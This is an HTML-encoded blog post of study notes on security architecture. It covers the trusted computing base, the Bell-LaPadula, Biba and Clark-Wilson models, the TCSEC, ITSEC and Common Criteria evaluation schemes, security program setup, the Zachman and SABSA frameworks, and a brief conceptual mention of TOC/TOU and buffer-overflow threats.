&amp;nbsp; &amp;nbsp;Trusted&amp;nbsp;computing base (&lt;b&gt;TCB&lt;/b&gt;) is defined as the total combination of protection mechanisms within a computer system.&amp;nbsp;The TCB includes hardware, software, and firmware. These&amp;nbsp;components will enforce the security policy and not violate it.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; If the TCB is enabled, then the system has a trusted path, a trusted shell, and system integrity-checking capabilities. The TCB provides protection resources to ensure the&amp;nbsp;trusted path (channel&amp;nbsp;between the user, or program, and the kernel)&amp;nbsp;cannot be compromised in any way. A trusted shell prevents &quot;bust out of it,&quot; and&amp;nbsp;&quot;bust into it&quot; phenomenon.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; The four basic functions of the TCB are process activation, execution domain switching, memory protection, and I/O&amp;nbsp;operations.&lt;br /&gt;
&lt;i&gt;&lt;b&gt;Execution domain switching&lt;/b&gt;&lt;/i&gt; refers to when the CPU has to go from executing instructions in user mode to privileged mode and back.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;The reference monitor&lt;/b&gt;&lt;br /&gt;
is an abstract machine that mediates all access subjects have to objects, both to ensure that the&amp;nbsp;subjects have the necessary access rights and to protect the objects from unauthorized access and destructive&amp;nbsp;modification.&lt;br /&gt;
&lt;br /&gt;
The &lt;b&gt;security kernel&lt;/b&gt; is made up of hardware, software, and firmware components that fall within the TCB, and it&amp;nbsp;implements and enforces the reference monitor concept.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
The reference monitor is a concept in which an abstract machine mediates all access to objects by subjects. The&amp;nbsp;security kernel is the hardware, firmware, and software of a TCB that implements this concept. The TCB is the&amp;nbsp;totality of protection mechanisms within a computer system that work together to enforce a security policy. The&amp;nbsp;TCB contains the security kernel and all other security protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Security model&lt;/b&gt;&lt;br /&gt;
Models such as the Bell-LaPadula model, enforce rules to provide confidentiality protection. Other models,&amp;nbsp;such as the Biba model, enforce rules to provide integrity protection. Formal security models, such as Bell-LaPadula and&lt;br /&gt;
Biba, are used to provide high assurance in security. Informal models, such as Clark-Wilson, are used more as a&amp;nbsp;framework to describe how security policies should be expressed and executed.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



The Bell-LaPadula model&amp;nbsp;&lt;/h3&gt;
is a state machine model that enforces the confidentiality aspects of access control. A matrix and security levels are used to determine if subjects can&lt;br /&gt;
access different objects. The subject&#39;s clearance is compared to the object&#39;s classification and then specific rules are applied to control how subject-to-object interactions can take place. It is a subject-to-object model.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The simple security rule states that a subject at a given security level cannot read data that reside at a higher security level.&lt;/li&gt;
&lt;li&gt;The *-property rule (star property rule) states that a subject in a given security level cannot write information to a lower security level.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The simple security rule is referred to as the &quot;no read up&quot; rule, and the *-property rule is referred to as the &quot;no write down&quot; rule.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The third rule, the strong star property rule, states that a subject that has read and write capabilities can only perform those functions at the same security level, nothing higher and nothing lower.&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Basic Security Theorem&lt;/b&gt; used in computer science, which states that if a system initializes in a secure state and all allowed state transitions are secure, then every&lt;br /&gt;
subsequent state will be secure no matter what inputs occur.&lt;br /&gt;
&lt;br /&gt;
The &lt;b&gt;tranquility &lt;/b&gt;principle, which is also used in this model, means that subjects and objects cannot change their security levels once they have been instantiated&lt;br /&gt;
&lt;br /&gt;
Mandatory access control (&lt;b&gt;MAC&lt;/b&gt;) systems are based on the Bell-LaPadula model, because it allows for multilevel security to be integrated into the code.&lt;br /&gt;
&lt;br /&gt;
Bell-LaPadula has a rule called Discretionary Security Property (&lt;b&gt;ds-property&lt;/b&gt;). It specifies that specific permissions allow a subject to pass on permissions at its own discretion. These permissions are stored in an access matrix. Basically implying that mandatory and discretionary access control mechanisms can be implemented in one operating system.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



Biba Model&lt;/h3&gt;
It addresses the integrity of data within applications. The Biba model is not concerned with security levels and confidentiality, so it does not base access decisions upon this type of lattice. The Biba model uses a lattice of integrity&lt;br /&gt;
levels.&lt;br /&gt;
Biba model prevents data from any integrity level from flowing to a higher&lt;br /&gt;
integrity level. Biba has three main rules:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;*-integrity axiom A subject cannot write data to an object at a higher integrity level (referred to as &quot;no write up&quot;).&lt;/li&gt;
&lt;li&gt;Simple integrity axiom A subject cannot read data from a lower integrity level (referred to as &quot;no read down&quot;).&lt;/li&gt;
&lt;li&gt;Invocation property A subject cannot request service (invoke) to subjects of higher integrity.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



Bell-LaPadula vs. Biba&lt;/h3&gt;
The Bell-LaPadula and Biba models are informational flow models but the Bell-LaPadula model is used to provide confidentiality while the Biba model is used to provide integrity.&lt;br /&gt;
Bell-LaPadula uses security levels, and Biba uses integrity levels.&lt;br /&gt;
Their rules sound very similar: simple and * rules—one writing one way and one reading another way. A tip for how to remember them is that if the word &quot;simple&quot; is used, the rule is talking about reading. If the rule uses * or &quot;star,&quot; it is talking about writing.&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



The Clark-Wilson Model&lt;/h3&gt;
The Clark-Wilson model was developed after Biba and takes some different approaches to protecting the integrity of information. This model uses the following elements:&lt;br /&gt;
Users Active agents&lt;br /&gt;
Transformation procedures (TPs) Programmed abstract operations, such as read, write, and modify&lt;br /&gt;
Constrained data items (CDIs) Can be manipulated only by TPs&lt;br /&gt;
Unconstrained data items (UDIs) Can be manipulated by users via primitive read and write operations&lt;br /&gt;
Integrity verification procedures (IVPs) Check the consistency of CDIs with external reality&lt;br /&gt;
When an application uses the Clark-Wilson model, it separates data into one subset that needs to be highly protected, which is referred to as a constrained data item (CDI), and another subset that does not require a high level of protection, which is called an unconstrained data item (UDI). Users cannot modify critical data (CDI) directly. Instead, the subject (user) must be authenticated to a piece of software, and the software procedures (TPs) will carry out the operations on behalf of the user.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Goals of Integrity Models&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;The following are the three main goals of integrity models:&lt;/li&gt;
&lt;li&gt;Prevent unauthorized users from making modifications&lt;/li&gt;
&lt;li&gt;Prevent authorized users from making improper modifications (separation of duties)&lt;/li&gt;
&lt;li&gt;Maintain internal and external consistency (well-formed transaction)&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Clark-Wilson addresses each of these goals in its model. Biba only addresses the first goal.&lt;br /&gt;
&lt;br /&gt;
Covert channels are of two types: storage and timing. In a covert storage channel, processes are able to communicate through some type of storage space on the system. In a covert timing channel, one process relays information to another by modulating its use of system resources.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



The Noninterference Model&lt;/h3&gt;
This concept is implemented to ensure any actions that take place at a higher security level do not affect, or interfere with, actions that take place at a lower level.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



The Lattice Model&lt;/h3&gt;
A lattice is a mathematical construct that is built upon the notion of a group.The most common definition of the lattice model is &quot;a structure consisting of a finite partially ordered set together with least upper and greatest lower bound&lt;br /&gt;
operators on the set.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



The Brewer and Nash model&lt;/h3&gt;
Also called the Chinese Wall model, was created to provide access controls that can change dynamically depending upon a user&#39;s previous actions. The main goal of the model is to protect against conflicts of&lt;br /&gt;
interest by users&#39; access attempts.&lt;br /&gt;
Sort of like multi-tenancy.&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



Graham-Denning model&amp;nbsp;&lt;/h3&gt;
Bell-LaPadula and Biba don&#39;t define how the security and integrity ratings are defined and modified, nor do they provide a way to delegate or transfer access rights. G-D model addresses these issues and defines a set of basic rights in terms of commands that a specific subject can execute on an object. This model has eight rules:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;How to securely create an object, Subject(2 rules)&lt;/li&gt;
&lt;li&gt;How to securely delete an object , Subject (2)&lt;/li&gt;
&lt;li&gt;How to securely provide the read, grant, delete,transfer access rights (4)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

The Harrison-Ruzzo-Ullman Model&lt;/h3&gt;
The Harrison-Ruzzo-Ullman (HRU) model deals with access rights of subjects and the integrity of those rights. A subject&amp;nbsp;can carry out only a finite set of operations on an object.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



The Access Control Matrix Model&amp;nbsp;&lt;/h3&gt;
This is a model in which access decisions are based on objects&#39; ACLs and&lt;br /&gt;
subjects&#39; capability tables.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

Security Modes&amp;nbsp;&lt;/h3&gt;
&lt;div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Dedicated Security Mode: All users must have …&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Proper clearance for all information on the system&lt;/li&gt;
&lt;li&gt;Formal access approval for all information on the system&lt;/li&gt;
&lt;li&gt;A signed NDA for all information on the system&lt;/li&gt;
&lt;li&gt;A valid need to know for all information on the system&lt;/li&gt;
&lt;li&gt;All users can access all data.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;System High-Security Mode: All users must have …&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Proper clearance for all information on the system&lt;/li&gt;
&lt;li&gt;Formal access approval for all information on the system&lt;/li&gt;
&lt;li&gt;A signed NDA for all information on the system&lt;/li&gt;
&lt;li&gt;A valid need to know for some information on the system&lt;/li&gt;
&lt;li&gt;All users can access some data, based on their need to know.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Compartmented Security Mode: All users must have …&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Proper clearance for the highest level of data classification on the system&lt;/li&gt;
&lt;li&gt;Formal access approval for all information they will access on the system&lt;/li&gt;
&lt;li&gt;A signed NDA for all information they will access on the system&lt;/li&gt;
&lt;li&gt;A valid need to know for some of the information on the system&lt;/li&gt;
&lt;li&gt;All users can access some data, based on their need to know and formal access approval.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Multilevel Security Mode: All users must have …&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Proper clearance for all information they will access on the system&lt;/li&gt;
&lt;li&gt;Formal access approval for all information they will access on the system&lt;/li&gt;
&lt;li&gt;A signed NDA for all information they will access on the system&lt;/li&gt;
&lt;li&gt;A valid need to know for some of the information on the system&lt;/li&gt;
&lt;li&gt;All users can access some data, based on their need to know, clearance, and formal access approval.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/div&gt;
In the United States, the National Computer Security Center (NCSC) is an organization within the National Security Agency&amp;nbsp;(NSA) that is responsible for evaluating computer systems and products. It has a group, called the Trusted Product&amp;nbsp;Evaluation Program (TPEP), that oversees the testing by approved evaluation entities of commercial products against a&amp;nbsp;specific set of criteria.&lt;br /&gt;
The product is assigned an&amp;nbsp;assurance rating based on the Orange Book (moving toward the Common Criteria).&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

The Orange Book&lt;/h3&gt;
The U.S. Department of Defense developed the Trusted Computer System Evaluation Criteria (TCSEC), which is used&amp;nbsp;to evaluate operating systems, applications, and different products.&lt;br /&gt;
&lt;br /&gt;
TCSEC provides a classification system that is divided into hierarchical divisions of assurance levels:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;A. Verified protection&lt;/li&gt;
&lt;li&gt;B. Mandatory protection&lt;/li&gt;
&lt;li&gt;C. Discretionary protection&lt;/li&gt;
&lt;li&gt;D. Minimal security&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Each division can have one or more numbered classes with a corresponding set of requirements that must be met for a&amp;nbsp;system to achieve that particular rating. The classes with higher numbers offer a greater degree of trust and assurance. So&lt;br /&gt;
B2 would offer more trust than B1, and C2 would offer more trust than C1.&lt;br /&gt;
&lt;br /&gt;
Seven different areas:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Security policy The policy must be explicit and well defined and enforced by the mechanisms within the system.&lt;/li&gt;
&lt;li&gt;Identification Individual subjects must be uniquely identified.&lt;/li&gt;
&lt;li&gt;Labels Access control labels must be associated properly with objects.&lt;/li&gt;
&lt;li&gt;Documentation Documentation must be provided, including test, design, and specification documents, user guides,&amp;nbsp;and manuals.&lt;/li&gt;
&lt;li&gt;Accountability Audit data must be captured and protected to enforce accountability.&lt;/li&gt;
&lt;li&gt;Life-cycle assurance Software, hardware, and firmware must be able to be tested individually to ensure that each&amp;nbsp;enforces the security policy in an effective manner throughout their lifetimes.&lt;/li&gt;
&lt;li&gt;Continuous protection The security mechanisms and the system as a whole must perform predictably and acceptably&amp;nbsp;in different situations continuously.&lt;/li&gt;
&lt;/ul&gt;
These categories are evaluated independently, but the rating&amp;nbsp;is a sum total of these items.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Security Levels&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Division D: Minimal Protection&lt;/li&gt;
&lt;/ul&gt;
Systems that have been evaluated but fail to meet the criteria and&amp;nbsp;requirements of the higher divisions.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Division C: Discretionary Protection&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;C1: Discretionary Security Protection&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;separation of users and information&lt;/li&gt;
&lt;li&gt;access control&lt;/li&gt;
&lt;li&gt;protected execution domain&lt;/li&gt;
&lt;li&gt;validating the system&#39;s operational integrity.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;design documentation, test documentation, a facility manual, and user manuals.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;C2: Controlled Access Protection&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Users need to be identified individually&lt;/li&gt;
&lt;li&gt;Security relevant&amp;nbsp;events are audited, and records protected&lt;/li&gt;
&lt;li&gt;provide resource, or object, isolation&lt;/li&gt;
&lt;li&gt;object reuse concept must be clean.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;cannot guarantee it will&amp;nbsp;not be compromised, but make it harder.&lt;/li&gt;
&lt;li&gt;C2, overall, is seen as the most reasonable class for commercial applications, but the level of&amp;nbsp;protection is still relatively weak.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;Division B: Mandatory Protection&lt;/li&gt;
&lt;/ul&gt;
Mandatory access control is enforced by the use of security labels. The architecture is based on the Bell-LaPadula&amp;nbsp;security model, and evidence of reference monitor enforcement must be available.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;B1: Labeled Security&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;data object must contain a classification label and each subject must have a clearance label.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;system must compare the subject&#39;s and object&#39;s security labels&amp;nbsp;&lt;/li&gt;
&lt;li&gt;The security policy is based&amp;nbsp;on an informal statement&lt;/li&gt;
&lt;li&gt;design specifications are reviewed and verified.&lt;/li&gt;
&lt;li&gt;This rating is intended for environments that require systems to handle classified data.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;
&lt;li&gt;B2: Structured Protection&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;security policy is clearly defined and documented&lt;/li&gt;
&lt;li&gt;system design and implementation&amp;nbsp;reviewed/tested&amp;nbsp;&lt;/li&gt;
&lt;li&gt;requires more stringent authentication mechanisms&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Subjects and devices require labels, and the system must not allow covert channels.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;trusted&amp;nbsp;path for logon and authentication&lt;/li&gt;
&lt;li&gt;The type of environment that would require B2 systems is one that processes sensitive data that require a higher degree of&amp;nbsp;security.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;B3: Security Domains&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
Note Security labels are not required until security rating B; thus, C2 does not require security labels but B1 does.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;ul&gt;&lt;ul&gt;
&lt;li&gt;more granularity is provided in each protection mechanism&lt;/li&gt;
&lt;li&gt;design and implementation should not provide too much complexity&lt;/li&gt;
&lt;li&gt;reference monitor components must be small enough to test&amp;nbsp;properly and be tamperproof.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;security administrator role is clearly defined, and the system must be able to recover&amp;nbsp;from failures without its security level being compromised including system startup.&lt;/li&gt;
&lt;li&gt;The type of environment that requires B3 systems is a highly secured environment that processes very sensitive&amp;nbsp;information. It requires systems that are highly resistant to penetration.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;Division A: Verified Protection&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;The security mechanisms between B3 and A1 are not very different, but the way the system was designed&amp;nbsp;and developed is evaluated in a much more structured and stringent procedure.&lt;/li&gt;
&lt;li&gt;A1: Verified Design&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;assurance of&amp;nbsp;an A1 system is higher than a B3 system because of the formality in the way the A1 system was designed&lt;/li&gt;
&lt;li&gt;The type of environment that would require A1 systems is the most secure of secured environments. This type of&amp;nbsp;environment deals with top-secret information and cannot adequately trust anyone using the systems without strict&amp;nbsp;authentication, restrictions, and auditing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
TCSEC addresses confidentiality, but not integrity. Functionality of the security mechanisms and the assurance of&amp;nbsp;those mechanisms are not evaluated separately, but rather are combined and rated as a whole.&lt;br /&gt;
&lt;br /&gt;
The Orange Book focuses on the operating system and the rainbow series on the other aspects.&lt;br /&gt;
&lt;br /&gt;
The Trusted Network Interpretation&amp;nbsp;(TNI), also called the Red Book because of the color of its cover, addresses security evaluation topics for networks and&lt;br /&gt;
network components.&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



Information Technology Security Evaluation Criteria (ITSEC)&lt;/h3&gt;
It replaced TCSEC in 2000.&amp;nbsp;ITSEC evaluates two main attributes of a system&#39;s protection mechanisms:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;functionality&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
The services that are provided to the subjects (access&amp;nbsp;control mechanisms, auditing, authentication, and so on) are examined and measured.When functionality is evaluated, it is tested to see if the system&#39;s protection mechanisms deliver what its&amp;nbsp;vendor says they deliver.&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;Assurance&lt;/b&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
is the degree of confidence in the protection mechanisms, and&amp;nbsp;their effectiveness and capability to perform consistently. Assurance is generally tested by examining development&amp;nbsp;practices, documentation, configuration management, and testing mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Differences between ITSEC and TCSEC:&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;TCSEC bundles functionality and assurance into one rating, whereas&amp;nbsp;ITSEC evaluates these two attributes separately.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;ITSEC was developed to provide more&amp;nbsp;flexibility than TCSEC, and ITSEC addresses integrity, availability, and confidentiality, whereas TCSEC addresses only&amp;nbsp;confidentiality.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;ITSEC also addresses networked systems, whereas TCSEC deals with stand-alone systems.&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Mapping&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
E0 = D&lt;br /&gt;
F1 + E1 = C1&lt;br /&gt;
F2 + E2 = C2&lt;br /&gt;
F3 + E3 = B1&lt;br /&gt;
F4 + E4 = B2&lt;br /&gt;
F5 + E5 = B3&lt;br /&gt;
F5 + E6 = A1&lt;br /&gt;
F6 = Systems that provide high integrity&lt;br /&gt;
F7 = Systems that provide high availability&lt;br /&gt;
F8 = Systems that provide data integrity during communication&lt;br /&gt;
F9 = Systems that provide high confidentiality (like cryptographic devices)&lt;br /&gt;
F10 = Networks with high demands on confidentiality and integrity&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

The Common Criteria&amp;nbsp;&lt;/h3&gt;
Provides&amp;nbsp;more flexibility by evaluating a product against a protection profile, which is structured to address a real-world security&amp;nbsp;need. So while the Orange Book says, &quot;Everyone march in this direction in this form using this path,&quot; the Common Criteria&amp;nbsp;asks, &quot;Okay, what are the threats we are facing today and what are the best ways of battling them?&quot;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;assigned an Evaluation Assurance&amp;nbsp;Level (EAL).&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;EAL1 Functionally tested&lt;/li&gt;
&lt;li&gt;EAL2 Structurally tested&lt;/li&gt;
&lt;li&gt;EAL3 Methodically tested and checked&lt;/li&gt;
&lt;li&gt;EAL4 Methodically designed, tested, and reviewed&lt;/li&gt;
&lt;li&gt;EAL5 Semiformally designed and tested&lt;/li&gt;
&lt;li&gt;EAL6 Semiformally verified design and tested&lt;/li&gt;
&lt;li&gt;EAL7 Formally verified design and tested&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
The protection profile provides a means for a consumer, or others, to identify specific security needs; this is the security&amp;nbsp;problem to be conquered.&amp;nbsp;The protection profile goes on to provide the necessary goals and protection mechanisms to achieve the required&amp;nbsp;level of security.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;Like other evaluation criteria before it, the Common Criteria works to answer two basic questions about products being&amp;nbsp;evaluated: what does its security mechanisms do (functionality), and how sure are you of that (assurance)?&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Certification &lt;/b&gt;is the comprehensive technical evaluation of the security components and their compliance for the purpose&amp;nbsp;of accreditation.&amp;nbsp;The goal of a certification process is to ensure that a system, product, or network is right for the customer&#39;s purposes.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Accreditation &lt;/b&gt;is the formal acceptance of the adequacy of a system&#39;s overall security and functionality by management.&amp;nbsp;The certification information is presented to management and once satisfied with the system&#39;s overall security management makes a formal&amp;nbsp;accreditation statement.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;



How to set up a security program:&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Plan and Organize&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Establish management commitment&lt;/li&gt;
&lt;li&gt;Establish oversight steering committee&lt;/li&gt;
&lt;li&gt;Assess business drivers&lt;/li&gt;
&lt;li&gt;Carry out a threat profile on the organization&lt;/li&gt;
&lt;li&gt;Carry out a risk assessment&lt;/li&gt;
&lt;li&gt;Develop security architectures at an organizational, application, network, and component level&lt;/li&gt;
&lt;li&gt;Identify solutions per architecture level&lt;/li&gt;
&lt;li&gt;Obtain management approval to move forward&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Implement&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Assign roles and responsibilities&lt;/li&gt;
&lt;li&gt;Develop and implement security policies, procedures, standards, baselines, and guidelines&lt;/li&gt;
&lt;li&gt;Identify sensitive data at rest and in transit&lt;/li&gt;
&lt;li&gt;Implement the following blueprints:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Asset identification and management&lt;/li&gt;
&lt;li&gt;Risk management&lt;/li&gt;
&lt;li&gt;Vulnerability management&lt;/li&gt;
&lt;li&gt;Compliance&lt;/li&gt;
&lt;li&gt;Identity management and access control&lt;/li&gt;
&lt;li&gt;Change control&lt;/li&gt;
&lt;li&gt;Software development life cycle&lt;/li&gt;
&lt;li&gt;Business continuity planning&lt;/li&gt;
&lt;li&gt;Awareness and training&lt;/li&gt;
&lt;li&gt;Physical security&lt;/li&gt;
&lt;li&gt;Incident response&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Implement solutions (administrative, technical, physical) per blueprint&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Develop auditing and monitoring solutions per blueprint&lt;/li&gt;
&lt;li&gt;Establish goals, service level agreements (SLAs), and metrics per blueprint&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;Operate and Maintain&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Follow procedures to ensure all baselines are met in each implemented blueprint&lt;/li&gt;
&lt;li&gt;Carry out internal and external audits&lt;/li&gt;
&lt;li&gt;Carry out tasks outlined per blueprint&lt;/li&gt;
&lt;li&gt;Manage service level agreements per blueprint&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;Monitor and Evaluate&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Review logs, audit results, collected metric values, and SLAs per blueprint&lt;/li&gt;
&lt;li&gt;Assess goal accomplishments per blueprint&lt;/li&gt;
&lt;li&gt;Carry out quarterly meetings with steering committee&lt;/li&gt;
&lt;li&gt;Develop improvement steps and integrate into the Plan and Organize phase&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;The Zachman framework&lt;/b&gt; is a two-dimensional model that uses six basic communication interrogatives (What, How, Where,Who, When, and Why) intersecting with different levels (Planner, Owner, Designer, Builder, Implementer, and Worker) to&amp;nbsp;give a holistic view of the enterprise.&lt;br /&gt;
&lt;br /&gt;
Here is a helpful hint for row Descriptions ( = means is equal to :-) ):&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Scope=Contextual = Planner&lt;/li&gt;
&lt;li&gt;Business Model= Conceptual = Owner&lt;/li&gt;
&lt;li&gt;System Model = Logical = Designer&lt;/li&gt;
&lt;li&gt;Technology Model = Physical = Builder&lt;/li&gt;
&lt;li&gt;Detailed Representations = Detailed = Sub Contractor&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;b&gt;Column Descrriptions&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
What(data), Where(Network), When(time), Why(Motivation), Who(People) and How(Function).&lt;br /&gt;
&lt;br /&gt;
See my Enterprise Architecture &lt;a href=&quot;http://softwarearchitectureandarchitects.blogspot.com/2011/11/enterprise-architecture-frameworks.html&quot; target=&quot;_blank&quot;&gt;blog post&lt;/a&gt; for a discussion of the frameworks including Zachman.&lt;br /&gt;
&lt;br /&gt;
When an enterprise security architecture is being developed, the following items must be understood and followed:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;strategic alignment, process enhancement, business enablement, and security effectiveness.&lt;/li&gt;
&lt;/ul&gt;
Strategic alignment means the business drivers and the regulatory and legal requirements are being met by the security&amp;nbsp;architecture.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;SABSA&lt;/b&gt;&lt;br /&gt;
A group developed the Sherwood Applied Business Security Architecture (SABSA), as shown in the following table,&amp;nbsp;which is based on the Zachman framework. When building a security architecture, you can visit www.sabsainstitute.org/ home.aspx to learn more about this approach.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;

A Few Threats&lt;/h3&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Maintenance Hooks&lt;/li&gt;
&lt;li&gt;Time-of-Check/Time-of-Use Attacks&lt;/li&gt;
&lt;/ul&gt;
Specific attacks can take advantage of the way a system processes requests and performs tasks. A time-of-check/timeof-use (TOC/TOU) attack deals with the sequence of steps a system uses to complete a task. This type of attack takes&lt;br /&gt;
advantage of the dependency on the timing of events that take place in a multitasking operating system.&amp;nbsp;An example of a TOC/TOU attack is if process 1 validates the authorization of a user to open a noncritical text file and&lt;br /&gt;
process 2 carries out the open command. If the attacker can change out this noncritical text file with a password file while&amp;nbsp;process 1 is carrying out its task, she has just obtained access to this critical file. (It is a flaw within the code that allows&amp;nbsp;this type of compromise to take place.)&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Buffer Overflows&lt;/li&gt;
&lt;/ul&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;Tips&lt;/b&gt;&lt;br /&gt;
- Two systems can have the exact same hardware, software components, and applications, but provide different levels&amp;nbsp;of protection because of the different security policies and security models the two systems were built upon.&lt;br /&gt;
